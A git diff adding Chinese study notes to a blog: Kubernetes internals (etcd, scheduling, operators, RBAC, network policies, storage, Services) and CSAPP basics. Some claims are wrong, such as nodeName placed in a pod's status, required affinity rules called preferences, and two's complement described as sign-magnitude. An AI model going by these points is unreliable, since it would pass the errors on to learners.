在分布式系统中,特别是在网络分区时,强一致性防止了集群的脑裂现象,这是一个节点或节点子集与主集群断开连接的情况。 + +kube-apiserver与etcd: kube-apiserver是与etcd直接交互的主要Kubernetes组件。当使用kubectl命令或API请求创建、更新或删除Kubernetes资源时,kube-apiserver会将这些更改写入etcd。同样,当查询资源状态时,kube-apiserver会从etcd读取这些数据。 + +其他组件: 其他Kubernetes组件(如kube-controller-manager、kube-scheduler)通过kube-apiserver与etcd交互,而不是直接访问etcd。 + +etcd的高可用性: 为了确保高可用性和数据的强一致性,etcd常常部署为多节点集群。使用RAFT协议,etcd在其节点之间复制日志来确保数据一致性。 + + +> 每个组件如何使用etcd的简要描述: + +kube-apiserver: + +数据存储: 所有的Kubernetes对象(如Pods, Services, ConfigMaps等)的当前状态和配置都保存在etcd中。当用户或控制器更改任何资源的状态或规范时,这些更改都通过API server写入etcd。 +数据检索: 当API server接收到读取请求(如kubectl get pods)时,它会从etcd检索相关数据。 +监听变更: API server也可以监听etcd上的资源变更,从而能够快速响应更改。 +kube-scheduler: + +工作队列: 当新的Pods被创建并且需要调度时,kube-scheduler从API server检索这些信息。这实际上意味着它间接地从etcd获取数据,因为API server从etcd中提取数据。 +协调: kube-scheduler需要确保每个Pod都被恰当地调度到一个Node上。为了做到这一点,它可能需要查询当前Pods的位置、节点资源等信息,这些信息都存储在etcd中。 +kube-controller-manager: + +多个控制器: kube-controller-manager实际上是多个控制器的集合,如ReplicaSet控制器、Node控制器、Endpoints控制器等。 +状态同步: 这些控制器不断地检查系统的实际状态(通过查询API server,从而间接查询etcd)并确保它与预期的状态相匹配。例如,如果一个ReplicaSet的实际Pod数量少于期望的数量,ReplicaSet控制器将创建更多的Pods。 +监听变更: 控制器通常监听资源的变更,以便当资源状态或规范发生变化时,它们可以迅速采取行动。 + +> 那比如说,创建一个Pod的过程中,这个创建Pod的请求都经过哪些组件,并且都是如何处理这个请求的? + +用户操作: +用户使用kubectl命令行工具或Kubernetes API客户端发出Pod创建请求。例如,通过运行kubectl create -f pod.yaml。 + +API Server: +接收请求: kubectl或API客户端将请求发送到Kubernetes的API Server。 +验证和授权: API Server首先验证请求的用户,并确定他们是否有权限创建Pod。 +数据持久化: 一旦验证和授权成功,API Server将新Pod的定义保存到etcd中。 +事件触发: 保存Pod定义后,会触发一系列的控制器和其他系统部分来响应新Pod的创建。 + +etcd: +etcd是Kubernetes的主数据存储。API Server将新Pod的信息保存到etcd中,以确保数据的持久性和分布式的一致性。 + +kube-scheduler: +监听Pod: kube-scheduler持续监听新的、未分配的Pod。 +选择节点: 对于新创建且还未分配到任何节点的Pod,kube-scheduler将决定它应该运行在哪个节点上。这是基于多种因素的决策,例如节点的资源可用性、Pod的资源请求和其他调度策略。 +更新Pod信息: 一旦选择了合适的节点,kube-scheduler会更新Pod的信息,将其“绑定”到该节点。 + +Kubelet: +监听新Pod: 位于所选节点上的kubelet监听绑定到其节点的新Pod。 +与容器运行时交互: 一旦kubelet注意到新的Pod,它会与节点上的容器运行时(如Docker或containerd)通信,启动Pod中定义的容器。 +报告状态: kubelet将周期性地将Pod的状态报告回API Server,例如容器是否正在运行、是否存在错误等。 + +Container Runtime: +负责实际启动容器。kubelet指示容器运行时按照Pod定义中的规范启动容器。 +其他控制器: + +如果Pod是ReplicaSet、Deployment或StatefulSet的一部分,那么相关的控制器也会介入,确保所需数量的Pod副本始终在运行。 +总之,从用户发出创建Pod的请求到Pod实际在节点上开始运行,涉及了多个Kubernetes组件的协同工作。每个组件都有其特定的角色,确保Pod的创建过程既有效又符合用户的意图 + +>kube-scheduler是如何把Pod 和Node绑定,把Pod 和Node绑定到底怎么理解?以及他是如何把Pod和Node绑定的? + +```shell +Pod 和 Node 的绑定概念: + +当我们说Pod与Node被"绑定"时,意思是Pod已被分配给特定的Node并计划在该Node上运行。一旦Pod被绑定到Node,Kubelet(Node上的代理)会开始执行操作,拉取容器镜像(如果尚未存在)并启动Pod。 + +监听Pod: + +kube-scheduler通过API Server监听新创建的、还未被分配(或绑定)到Node的Pod。这些Pod具有一个Pending状态,因为它们尚未被分配到任何节点。 + +选择节点: + +对于每个Pending状态的Pod,kube-scheduler需要确定在哪个Node上运行它。这一决策基于多种因素,例如: + +资源考虑:Node上是否有足够的CPU、内存和其他资源来满足Pod的需求? +亲和性和反亲和性规则:有些Pod可能需要(或不需要)与其他特定的Pod运行在同一Node上。 +其他约束:例如,Pod可能只能运行在具有特定标签的节点上。 +自定义策略:可以根据需要扩展或自定义kube-scheduler的决策逻辑。 +更新Pod信息: + +当kube-scheduler决定了Pod应该在哪个Node上运行后,它会更新Pod的状态和信息。具体来说,它会在Pod的status字段中设置nodeName,这一操作在Kubernetes的背后实际上是API Server的一个"绑定"操作。这样,Pod就与指定的Node"绑定"了。 + +Node上的Kubelet开始执行: + +一旦Pod与Node绑定,该Node上的Kubelet会定期从API Server查询其应该运行哪些Pod。当Kubelet看到一个新的Pod已被绑定到它所在的Node时,它会开始Pod的启动过程。 + +``` +> Pod 和 Node 的绑定 + +当kube-scheduler决定了Pod应该在哪个Node上运行之后,它会发起一个绑定请求给API Server。这个请求的目的是更新Pod的status字段,特别是设置nodeName属性,以表示这个Pod已经被分配给了哪个Node。 + +kube-scheduler的决策: + +在考虑了多种因素(如资源需求、节点的可用性、调度策略等)之后,kube-scheduler会为Pending状态的Pod选择一个合适的Node。 + +绑定请求: + +选择了Node之后,kube-scheduler会发起一个绑定请求给API Server。这个请求包括了Pod的名称和ID以及被选中的Node的名称。 + +API Server的处理: + +API Server接收到这个绑定请求后,会处理并更新etcd中的Pod信息,特别是status.nodeName字段。这个字段标明了Pod被分配到了哪个Node。 + +数据的持久化: + +一旦API Server更新了etcd,Pod的分配信息就被持久化了。这意味着即使API Server或kube-scheduler之后出现了问题,Pod的分配信息不会丢失。 + +Kubelet的响应: + +Node上的Kubelet会周期性地与API Server通信,查询分配给该Node的Pod列表。当Kubelet发现有新的Pod被分配给它所在的Node时,它会开始这个Pod的启动过程。 + +总的来说,kube-scheduler的决策过程和绑定操作是Kubernetes调度过程中的核心部分,确保Pod被有效、高效地分配到合适的Node上运行。 + +> 请解释Kubernetes中“控制器”和“操作器”的概念,并讨论两者之间的主要区别。 + +控制器 (Controller): +概念:在Kubernetes中,控制器是一个控制循环,持续监视Kubernetes API中的某种资源状态,并确保当前状态与预期状态相匹配。如果当前状态与预期状态不匹配,控制器将采取行动进行纠正。 +如何工作:控制器使用的主要模式称为“控制循环”。在每个迭代中,控制器都会读取所需资源的预期状态,与现有的实际状态进行比较,然后进行相应的调整以匹配预期状态。 +例子:ReplicaSet、Deployment、StatefulSet、Node Controller、Job Controller等。 + +操作器 (Operator): +概念:操作器是在Kubernetes上构建的,用于自动化部署、扩展和运行复杂的应用程序,特别是状态化的应用程序。操作器是一个应用特定的控制器,它扩展了Kubernetes API,用于管理自定义资源。 +如何工作:操作器监听特定的自定义资源并实现自定义的控制逻辑来管理这些资源。它们经常与Kubernetes的自定义资源定义(CRD)一起使用,以为特定应用程序添加自定义API对象。 +例子:Prometheus Operator、Etcd Operator、MySQL Operator等。 + +主要区别: + +范围:控制器通常关注的是Kubernetes内置资源类型(如Pod、Service等),而操作器关注的是特定应用程序或服务的自定义资源。 + +定制化:操作器是为了满足特定应用程序或服务的需求而构建的,而控制器则通常是通用的。 + +API扩展:操作器通常与CRDs一起使用,以为Kubernetes添加新的资源类型,而控制器则主要操作现有的资源类型。 + +复杂性:操作器可以实现更复杂、更特定的应用逻辑,而控制器通常有更简单、更通用的逻辑。 + +在Kubernetes架构中,控制器是Kubernetes控制平面的一部分,特别是在kube-controller-manager组件中。操作器则是独立部署在Kubernetes集群上的,它们可以由任何人创建和部署,以满足特定应用或服务的需求。 + +> 操作器独立部署在Kubernetes ,然后是如何和Kubernetes中现有的组件协同工作的? + + +自定义资源定义 (CRD): +操作器通常伴随一个或多个CRDs部署。CRD允许在Kubernetes中定义新的资源类型。一旦CRD被创建,用户可以像使用内置资源那样使用这些自定义资源(例如:使用kubectl命令)。 + +自定义控制循环: +操作器的核心是一个自定义的控制循环,该循环不断地检查与其相关的自定义资源的状态。当资源的当前状态与其声明的状态不一致时,操作器会采取必要的行动来调整状态。 + +API Server交互: +操作器需要与Kubernetes API server进行交互,以便监听其关心的资源(通常是其相关的CRD实例)的变化,并在必要时进行更改。它使用标准的Kubernetes client libraries(如Go的client-go)来执行这些操作。 + +权限管理: +操作器需要特定的权限来读取、创建、更新和删除资源。这是通过Kubernetes的Role-Based Access Control (RBAC)来实现的,通常涉及创建Roles和RoleBindings或ClusterRoles和ClusterRoleBindings。 + + +其他Kubernetes组件的交互: +根据操作器的功能和目的,它可能需要与Kubernetes的其他组件交互。例如,一个数据库操作器可能需要与Persistent Volumes、Persistent Volume Claims以及StatefulSets进行交互来处理数据持久化。 + +自动化任务: +操作器的主要目标之一是自动化常见的应用任务。例如,一个数据库操作器可能会处理备份、恢复、扩展和升级等任务。 + + +> 创建和应用一个Kubernetes操作器来处理备份、恢复、容灾等任务是一个复杂的过程。下面是一个简化的概述: + +定义自定义资源 (Custom Resource, CR): +确定的操作器需要管理哪些自定义资源,例如 Backup, Restore, DisasterRecovery。 +为每种资源定义CRD(Custom Resource Definition)。 + +编写操作器逻辑: +使用Go语言(最常用的语言来编写操作器)和Operator SDK来创建操作器。 +为CRD的每一个生命周期事件(如Add, Update, Delete)定义控制器的逻辑。 + +设置RBAC: +创建一个ServiceAccount供操作器使用。 +定义Role或ClusterRole,授予必要的权限来读取、创建、更新和删除相关资源。 +创建RoleBinding或ClusterRoleBinding将角色与ServiceAccount关联。 + +打包操作器为Docker镜像: +将操作器代码打包为Docker镜像。 +将镜像推送到容器镜像仓库。 + +部署操作器: +使用Kubernetes Deployment资源部署操作器,并确保它使用之前创建的ServiceAccount。 + +应用自定义资源: +一旦操作器运行,用户可以创建、更新或删除自定义资源。 +操作器会观察到这些更改并执行相应的逻辑。 + +处理备份、恢复和容灾任务: +当Backup资源创建时,操作器可以调用备份逻辑(例如,使用工具如etcdctl备份etcd数据)。 +对于Restore资源,操作器可以恢复先前的备份。 +对于DisasterRecovery资源,操作器可以执行如切换到备用集群等容灾操作。 + +监控和日志: +操作器应该发布有关其操作状态的指标,以便可以使用工具如Prometheus进行监控。 +操作器应记录其所有活动,以便在出现问题时进行调试。 + +更新操作器: +如果需要添加新功能或修复错误,可以更新操作器的代码。 +重新打包为Docker镜像,并更新Kubernetes中的部署。 + +> 使用RBAC(基于角色的访问控制)来限制操作器可以做什么。 + +当在Kubernetes中运行操作器或其他应用程序时,通常不会以集群管理员的身份运行它们。这是为了安全考虑,以减少风险。为此,会使用RBAC(基于角色的访问控制)来限制操作器可以做什么。 + +为操作器设置RBAC的具体步骤: + +创建一个ServiceAccount: +这是一个代表在Kubernetes集群中运行的进程(例如操作器)的身份。创建一个ServiceAccount给您的操作器使用可以确保它不使用默认的ServiceAccount,从而限制其权限。 + +```yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: my-operator-serviceaccount + namespace: my-namespace +``` + +定义Role或ClusterRole: +Role和ClusterRole都定义了一组权限。区别在于,Role是命名空间范围的,而ClusterRole是集群范围的。为您的操作器创建一个Role(或ClusterRole),并列出它需要的所有权限。 + +例如,一个可以查看和修改Pods的Role可能如下: + +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + namespace: my-namespace + name: my-operator-role +rules: +- apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list", "watch", "create", "update", "delete"] +``` + +创建RoleBinding或ClusterRoleBinding: +这些绑定实际上是将Role或ClusterRole与ServiceAccount(或用户)关联起来的方式。这确保了操作器只能执行Role中定义的操作。 + +例如,一个将上述ServiceAccount与Role关联的RoleBinding如下: +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: my-operator-rolebinding + namespace: my-namespace +subjects: +- kind: ServiceAccount + name: my-operator-serviceaccount + namespace: my-namespace +roleRef: + kind: Role + name: my-operator-role + apiGroup: rbac.authorization.k8s.io +``` +> 描述Kubernetes中的网络策略工作原理。Pod之间的网络是如何隔离的? + +默认行为: + +在默认情况下,Pod之间的通信不会受到任何限制。任何Pod都可以与其他所有Pod通信。 + +网络策略资源: +当创建一个网络策略后,只有与该策略匹配的流量才会被允许。 +其他所有未被明确允许的流量都会被阻止。 + +策略类型: +Ingress: 控制进入Pod的流量。 +Egress: 控制从Pod出去的流量。 + +选择器和规则: +podSelector: 指定哪些Pod应用这个策略。 +namespaceSelector: 指定来源或目的地为特定namespace的流量。 +ipBlock: 允许或拒绝来自特定IP地址范围的流量。 + +网络策略的实施: +要实现网络策略,集群需要运行一个支持网络策略的网络插件,例如Calico, Cilium, Weave Net等。 +这些插件通常使用iptables、eBPF或其他数据平面技术来实施这些策略。 + +Pod间的网络隔离: +当没有网络策略应用于Namespace或Pod时,所有Pod都是可达的。 +为了隔离Pod,首先创建一个默认拒绝所有流量的网络策略,然后创建允许特定流量的策略。 +这实现了一个“默认拒绝,明确允许”的模式。 + +实例: +例如,可能想要创建一个网络策略,只允许来自同一Namespace中带有特定标签的Pod的流量进入一个应用。 + +首先创建一个默认拒绝所有进入流量的网络策略: + +这是一个基础的策略,作用于指定的Pod,并拒绝所有进入的流量。 +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny-ingress + namespace: your-namespace +spec: + podSelector: {} + policyTypes: + - Ingress +``` + +在上述YAML中,podSelector 是空的,表示该策略适用于该Namespace下的所有Pod。只指定了 Ingress 的 policyTypes,意味着该策略只会影响进入Pod的流量。 + +创建一个策略,允许带有特定标签的Pod的流量进入应用: +假设的应用Pod有一个标签 app=my-application,而想要允许带有标签 access=my-application 的Pod访问它。 +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-specific-pods + namespace: your-namespace +spec: + podSelector: + matchLabels: + app: my-application + ingress: + - from: + - podSelector: + matchLabels: + access: my-application +``` +在上述YAML中,外层的 podSelector 选择了想要应用此策略的Pod(即的应用),而 ingress 部分定义了允许的流量来源。在这个例子中,我们允许带有 access=my-application 标签的Pod访问我们的应用。 +通过上述两个策略,首先默认拒绝了所有进入流量,然后明确允许了带有特定标签的Pod进入。这就是“默认拒绝,明确允许”的策略模式。 + +总之,Kubernetes的网络策略为集群管理员和开发者提供了一种工具,用于微调Pod间和外部系统与Pod之间的网络通信。这增加了安全性,使得可以在细粒度上控制和限制Pod之间的通信。 + + +> Kubernetes支持多种持久化存储解决方案。请描述PersistentVolume和PersistentVolumeClaim的概念,以及它们是如何工作的。 + +PersistentVolume (PV): + +定义:PV是集群内的一段存储,与Node的生命周期是独立的。换句话说,PV代表了一块物理存储空间的抽象,这块存储可以是本地磁盘、网络附加存储(NAS)、云提供商的存储解决方案(如AWS EBS、GCP PD等)或其他。 +生命周期:PV的生命周期通常与Kubernetes集群的生命周期是独立的。当PV不再需要时,可以进行回收、删除或保留数据。 +容量和访问模式:每个PV都有一个特定的容量和一个或多个访问模式,如ReadWriteOnce(RWO)、ReadOnlyMany(ROX)或ReadWriteMany(RWX)。 + +PersistentVolumeClaim (PVC): + +定义:PVC是对PV存储的请求或声明。它允许用户不知道底层存储的具体细节的情况下,请求存储资源和存储特性(如大小和访问模式)。 +绑定:一旦创建了PVC,Kubernetes控制平面会寻找一个匹配PVC要求的PV,并将其绑定到PVC。一旦绑定,这种绑定就是独占的。 +使用:当PVC绑定到PV后,PVC就可以在Pod规范中被引用,为Pod提供所需的存储。 + + +工作原理: + +系统管理员或云管理员创建一或多个PVs,这些PVs对集群中的用户是可见的,但还没有被任何工作负载使用。 +用户创建PVC,指定他们需要的存储大小和访问模式。 +Kubernetes寻找一个与PVC要求匹配的PV。如果找到,它会将PV绑定到PVC;否则,PVC将保持未绑定状态,直到满足其需求为止。 +用户创建的Pod可以引用PVC。Scheduler确保引用了同一个PVC的Pod运行在能够访问该PV的同一个节点上。 +如果PV达到其生命周期的末尾(例如,用户删除与之关联的PVC),根据PV的回收策略,存储可能会被保留、删除或回收。 +这种分离的概念(PV和PVC)允许存储和消费存储之间的解耦,使得用户可以请求存储而不必关心底层的具体实现。 + + +> 请解释Kubernetes的调度器是如何工作的。如何使用亲和性和反亲和性规则来指导Pod在特定的Node上进行调度? + +过滤阶段: +当一个新的Pod需要被调度时,调度器首先会过滤掉那些不满足Pod要求的节点。例如,如果Pod规定了一个特定的硬件要求,那么不满足这些要求的节点会被过滤掉。 + +打分阶段: +接下来,对于每个剩下的节点,调度器都会根据一系列的打分规则为其分配一个分数。这些规则会评估节点的特性,比如其总的资源量、已经使用的资源量、Pod的特定要求等等。 +调度器会选择分数最高的节点来运行Pod。 + +Pod放置: +调度器将Pod放置到选择的节点上。 +在Kubernetes中,可以使用亲和性和反亲和性规则来更加细致地控制Pod的调度: + +Pod亲和性: +使得一组Pod可以更倾向于被调度到一起(在同一节点或在同一可用区中的不同节点上)。 +示例:确保两个通常需要通信的Pod在同一数据中心的不同机器上,以减少延迟。 + +Pod反亲和性: +确保一组Pod不会被调度到一起。 +示例:对于高可用应用,可能不希望同一个应用的两个实例在同一个节点上。 + +使用亲和性和反亲和性规则: + +在Pod的spec中,可以使用affinity字段来指定这些规则。例如: +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: mypod +spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: disktype + operator: In + values: + - ssd + podAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + - labelSelector: + matchExpressions: + - key: security + operator: In + values: + - S1 + topologyKey: topology.kubernetes.io/zone + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 100 + podAffinityTerm: + labelSelector: + matchExpressions: + - key: app + operator: In + values: + - web + topologyKey: topology.kubernetes.io/zone + containers: + - name: mypod-container + image: myimage + +``` + +nodeAffinity 规则表示Pod倾向于被调度到具有disktype: ssd标签的节点上。 +podAffinity 规则表示Pod倾向于被调度到与带有security: S1标签的Pod在同一可用区的节点上。 +podAntiAffinity 规则表示Pod尽量不要与带有app: web标签的Pod在同一可用区的节点上。 + + +资源限制和配额: +> 在Kubernetes中,如何为Pod设置CPU和内存的限制?资源配额和LimitRange有什么区别? + +在Kubernetes中,为Pod设置CPU和内存的限制是通过资源请求和资源限制来实现的。资源请求保证Pod在节点上获得的资源,而资源限制则确保Pod不会使用超过这些设定的资源。 + +为Pod设置CPU和内存限制: + +在Pod的定义中,可以为每个容器设置资源请求和资源限制。例如: +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: mypod +spec: + containers: + - name: mycontainer + image: myimage + resources: + requests: + memory: "64Mi" + cpu: "250m" + limits: + memory: "128Mi" + cpu: "500m" + +``` +在上面的例子中: + +requests: 这是为容器请求的资源。例如,容器请求64MiB的内存和0.25核的CPU。 +limits: 这是容器可以使用的最大资源。例如,容器的内存使用不得超过128MiB,并且CPU使用不得超过0.5核。 + +资源配额 (ResourceQuota) 与 LimitRange 的区别: + +ResourceQuota: +资源配额用于设置整个命名空间的资源使用上限。例如,可以为命名空间设置最多使用10个Pods、20GiB的内存和40核的CPU。 +资源配额确保命名空间中的所有Pod、服务和其他Kubernetes资源不会超出预定义的上限。 + +LimitRange: +LimitRange是用来设定Pod或容器在该命名空间内的资源请求和限制的默认值和上下限。 +如果Pod或容器没有定义资源请求或限制,LimitRange可以提供默认值。 +同时,LimitRange确保Pod和容器的资源设置不超出设定的最小和最大值。 + +简而言之,ResourceQuota 控制整个命名空间的资源使用,而 LimitRange 控制命名空间中单个Pod或容器的资源设置。两者共同工作,确保资源的合理和有效分配,并防止资源的过度使用。 + + +> 服务发现-描述Kubernetes中Service的工作原理,并解释ClusterIP、NodePort和LoadBalancer之间的区别。 + +在Kubernetes中,Service 是一个抽象对象,用于将网络流量从Kubernetes集群外部路由到Pod内部。由于Pod可能会频繁创建和销毁,直接使用Pod的IP地址进行通信会很不稳定。Service 通过为Pod提供一个静态的地址,并在后台处理流量的路由,来解决这个问题。 + +Service的工作原理: + +选择器: 当创建一个Service时,通常使用选择器(selector)来指定哪些Pod应该由该Service处理。这意味着流量被路由到与选择器匹配的Pod。 + +端点 (Endpoints): Kubernetes内部为每个Service维护一个名为Endpoints的对象,该对象包含了与Service匹配的Pod的IP地址列表。 + +kube-proxy: 每个Kubernetes节点上运行一个叫做kube-proxy的进程,它监听API服务器中Service和Endpoints的变化,并维护iptables规则或使用其他机制将流量路由到正确的Pod。 + +现在,我们来看三种常见的Service类型:ClusterIP、NodePort 和 LoadBalancer。 + +ClusterIP: + +这是默认的Service类型。 +它为Service分配一个唯一的内部IP地址,这个地址只能在Kubernetes集群内部访问。 +适合于在同一集群的Pod之间通信。 +NodePort: + +这种类型的Service除了具有ClusterIP的特性外,还在集群中的每个节点上打开了一个端口(范围为30000-32767)。 +任何到达节点上这个端口的流量都会被转发到Service的Pod。 +这允许外部流量进入集群,即使Pod可能运行在其他节点上。 +LoadBalancer: + +这种类型的Service用于在公有云提供商(如AWS、GCP、Azure等)或在支持LoadBalancer插件的环境中使用。 +它为Service分配一个外部可访问的IP地址。 +通常,这意味着云提供商会为您的Service创建一个负载均衡器,所有发送到该负载均衡器的流量都会路由到Service的Pod。 +实际上,它包括ClusterIP和NodePort的功能,因此您也可以通过ClusterIP或NodePort访问它。 +总结:ClusterIP 是为内部通信 + +生命周期和钩子: +> 当一个Pod在Kubernetes中启动或终止时,可以使用哪些生命周期钩子来进行自定义操作? +自动扩缩: + +Kubernetes如何实现Pod的自动扩缩?描述Horizontal Pod Autoscaler的工作原理。 +安全和认证: + +描述Kubernetes中的RBAC(Role-Based Access Control)模型。如何为特定的Namespace设置角色和权限? \ No newline at end of file diff --git a/_posts/2023-10-12-test-markdown.md b/_posts/2023-10-12-test-markdown.md new file mode 100644 index 000000000000..2a5e8089142e --- /dev/null +++ b/_posts/2023-10-12-test-markdown.md @@ -0,0 +1,835 @@ +--- +layout: post +title: CSAPP/高性能Mysql +subtitle: +tags: [技术书籍] +comments: true +--- + +## 基础知识: + +> 描述一个程序在被执行之前都经过了哪些阶段? + +编辑:首先,程序员使用文本编辑器编写程序的源代码。 + +预处理:编译过程的第一步通常是预处理。在这一阶段,预处理器对源代码执行某些文本替换任务,例如处理宏定义、头文件包含、条件编译等。 + +编译:接下来,编译器会将预处理后的代码编译成为汇编代码。这一阶段的任务是检查代码的语法并进行某些初步的优化。 + +汇编:汇编器接着将这些汇编代码转换为目标代码(通常是机器代码),结果通常是目标文件。 + +链接:如果一个程序由多个源文件组成,那么在所有文件都被编译和汇编之后,链接器将这些目标文件链接起来,形成一个可执行文件。此外,链接器还确保程序中所有外部依赖(如库函数)都得到正确的引用。 + +完成上述步骤后,程序即变为一个可执行文件,可以由操作系统加载并执行。 + +```shell +编译 (Compilation) +作用:编译是将高级语言(如C、C++、Java等)写的源代码转换为低级的汇编语言代码的过程。 +原因:计算机的CPU不能直接理解和执行高级语言代码,它只能理解机器语言。但机器语言编程非常复杂和容易出错。因此,我们使用高级语言进行编程,然后通过编译器将其转换为与特定硬件架构相关的汇编代码。 +输出:编译的输出通常是汇编语言代码或某种中间代码。 + +汇编 (Assembly) +作用:汇编是将编译器产生的汇编语言代码转换为机器语言代码(通常以二进制形式)的过程。 +原因:汇编语言是对机器语言的一种符号表示,它使用助记符来表示机器语言的操作码,使其更易读和编写。但CPU只能理解二进制的机器代码,因此我们需要将汇编代码转换为机器代码。 +输出:汇编的输出是目标文件,这些文件包含了程序的机器语言表示,但还没有链接到可以执行的程序。 + +链接 (Linking) +作用:链接是将一个或多个目标文件与必要的库文件合并,以创建一个单独的可执行文件的过程。 +原因: +多文件程序:许多程序都是分布在多个源文件中的。每个源文件被单独编译和汇编。链接器将这些目标文件结合在一起,形成一个完整的程序。 +库引用:程序可能会使用外部库(例如C库中的printf函数)。链接器确保这些函数的引用都被解决,并包含在最终的可执行文件中。 +输出:链接的输出是一个可执行文件。这个文件可以由操作系统加载并运行。 +``` + +> 解释为什么缓存对现代计算机系统的性能至关重要。 + +缓存是计算机系统中的一个关键组件,设计用于解决处理器和主存之间的速度差异。以下是缓存对现代计算机性能至关重要的原因: + +速度差异:现代CPU的速度远远超过了主存储器的速度。如果CPU直接从主存中获取数据,它经常需要等待,这会造成大量的性能浪费。缓存通过存储最近使用或预期使用的数据来减少这种等待。 + +局部性原理:程序在执行时通常会展现出两种局部性:时间局部性和空间局部性。这意味着当一个数据被访问时,其附近的数据(空间局部性)或者在不久的将来再次被访问的数据(时间局部性)都很可能被访问。缓存利用这种局部性来预测下一个可能被访问的数据。 + +多级缓存设计:现代计算机系统通常拥有多级缓存(如L1、L2、L3缓存等),每一级缓存之间的大小和速度都有所不同。这种多级设计进一步优化了性能,确保CPU可以尽可能快速地访问数据。 + +降低能耗:从缓存中访问数据的能耗通常低于从主存或更远的存储设备中访问数据。因此,缓存不仅可以提高性能,还可以帮助节省能源。 + +## 数据表示: + +> 为什么浮点数的表示方法可能会导致精度损失?请给出一个实例。 + +浮点数在计算机中是使用IEEE 754标准表示的。这个表示方法分为三部分:符号位、指数和尾数。由于这种表示方法必须在有限的位数内适应所有的浮点数,因此它无法精确地表示所有的数。特定的浮点数可能只能近似地被表示,这就导致了精度损失。 + +无法精确表示某些十进制小数:有些十进制小数在二进制下是无限循环的。例如,数字0.1在二进制下是一个无限循环小数。由于浮点数有限的位数限制,这个无限循环的表示必须在某一点被截断,导致了精度损失。 + +实例: +```shell +0.1在十进制下是一个简单的小数,但在二进制下,它不能被精确地表示,原因与我们在十进制下试图表示1/3一样。在十进制下,1/3是一个无限循环的小数0.3333...,而在二进制下,0.1也是一个无限循环小数。 +0.1 x 2 = 0.2 => 0 +0.2 x 2 = 0.4 => 0 +0.4 x 2 = 0.8 => 0 +0.8 x 2 = 1.6 => 1 +0.6 x 2 = 1.2 => 1 +取整数部分(1)并使用余数(0.2)继续操作,会发现我们回到了0.2,这意味着这个过程会无限重复。 +``` + +> 能解释二进制补码表示法是如何工作的吗,并为什么我们选择使用它? + +补码是计算机中表示有符号整数的一种方式。它的基本思想是使用最高位(通常称为符号位)来表示符号:0 表示正,1 表示负。其余位表示数的绝对值。对于负数,其补码表示是其绝对值的二进制补数。 + +补码的优势在于它允许我们使用相同的硬件加法器进行加法和减法,而无需进行额外的检查或调整。当两个补码数字相加时,如果发生溢出,它将自然地被忽略,因为符号位也参与加法运算。这简化了硬件设计。 + +如何计算补码: +对于正数,其补码与其正常的二进制表示相同。 +对于负数,先得到其绝对值的二进制表示,然后对这个表示取反(0变1,1变0),再加1。 + +## 程序的机器级表示: + +> 描述一个C语言函数如何被转换为汇编语言。 + +词法分析:首先,编译器会进行词法分析,将C语言源代码分解为一系列的词元(tokens)。例如,int, main(), {, } 等都是C语言中的词元。 + +语法分析:编译器使用这些词元进行语法分析,创建一个抽象语法树(Abstract Syntax Tree, AST)。这个树形结构表示了源代码的高级结构。 + +语义分析:在这一步,编译器检查代码的语义,确保其意义是明确和有效的。例如,确保变量被声明后才使用,函数调用与其定义匹配等。 + +中间代码生成:编译器将AST转换为中间代码。这种中间代码通常是与机器无关的,并可以进行一些优化。 + +代码优化:编译器可能会进行一些优化,例如消除无用的代码、合并相似的代码段、重新排序语句等,以提高生成代码的效率。 + +目标代码生成:这是转换为汇编语言的关键步骤。编译器将中间代码转换为特定机器的汇编代码。在这个过程中,编译器考虑机器的指令集、寄存器等,并生成对应的汇编指令。 + +汇编:生成的汇编代码随后会被汇编器转换为机器代码,这是可执行的二进制代码。 + +让我们考虑一个简单的C语言函数作为例子: + +```c +int add(int a, int b) { + return a + b; +} +``` +转换为x86汇编语言,可能得到如下的输出: + +```assembly +_add: + movl 8(%esp), %eax ; Load the value of a into eax + addl 12(%esp), %eax ; Add the value of b to eax + ret ; Return with the result in eax +``` +这只是一个简化的例子,实际的输出取决于编译器、目标机器、优化等级等多种因素。但这可以给一个关于C函数如何被转换为汇编语言的基本概念。 + +> 可以解释函数调用的过程中"calling convention"是如何工作的吗? + +调用约定" (calling convention) 是编程时用于规定函数如何传递参数、如何返回结果以及如何在函数调用期间管理栈和寄存器的规定。 + +以下是调用约定中的一些关键部分: + +参数传递:规定如何将函数参数传递给被调用的函数。这可能是通过堆栈、寄存器或两者的组合来实现的。 + +返回值:规定如何返回函数结果。对于大多数体系结构和调用约定,简单的返回值(如整数和浮点数)通常通过特定的寄存器(如x86的EAX)返回,而复杂的返回值(如结构或类)可能通过指针传递给调用函数。 + +栈管理:规定在函数调用之前和之后如何管理栈。这包括决定谁负责清理堆栈——调用者(称为caller-cleanup)还是被调用者(称为callee-cleanup)。 + +寄存器保存:规定哪些寄存器在函数调用期间必须被保存和恢复。这通常分为“被调用者保存”和“调用者保存”寄存器。 + +返回地址:规定如何存储和恢复函数的返回地址,通常这是通过堆栈来实现的。 + +各种编程语言和操作系统可能有不同的调用约定,例如:cdecl, stdcall, fastcall 等。 + +> 指令级并行性 (ILP) 和流水线 + +基本概念:想象一个流水线,它有几个阶段,每个阶段执行一部分任务。与工厂流水线相似,在完成第一项任务的同时,下一项任务已经开始,因此同时进行多个任务。 + +CPU流水线:在CPU中,每条指令可以分为多个阶段,例如取指、译码、执行、访存和写回。在经典的五级流水线中,一旦第一条指令进入执行阶段,下一条指令可以开始译码,而再下一条指令可以开始取指,依此类推。 + +效益:通过流水线技术,可以在任何给定的CPU周期中有多个指令在不同的阶段。这允许CPU在同一时间内处理多个指令,从而提高性能。 + +挑战:流水线带来了一些挑战,例如数据冒险、控制冒险和结构冒险。处理这些冒险可能需要额外的硬件逻辑、流水线暂停、指令重新排序等技术。 + + +## 处理器体系结构: + +> 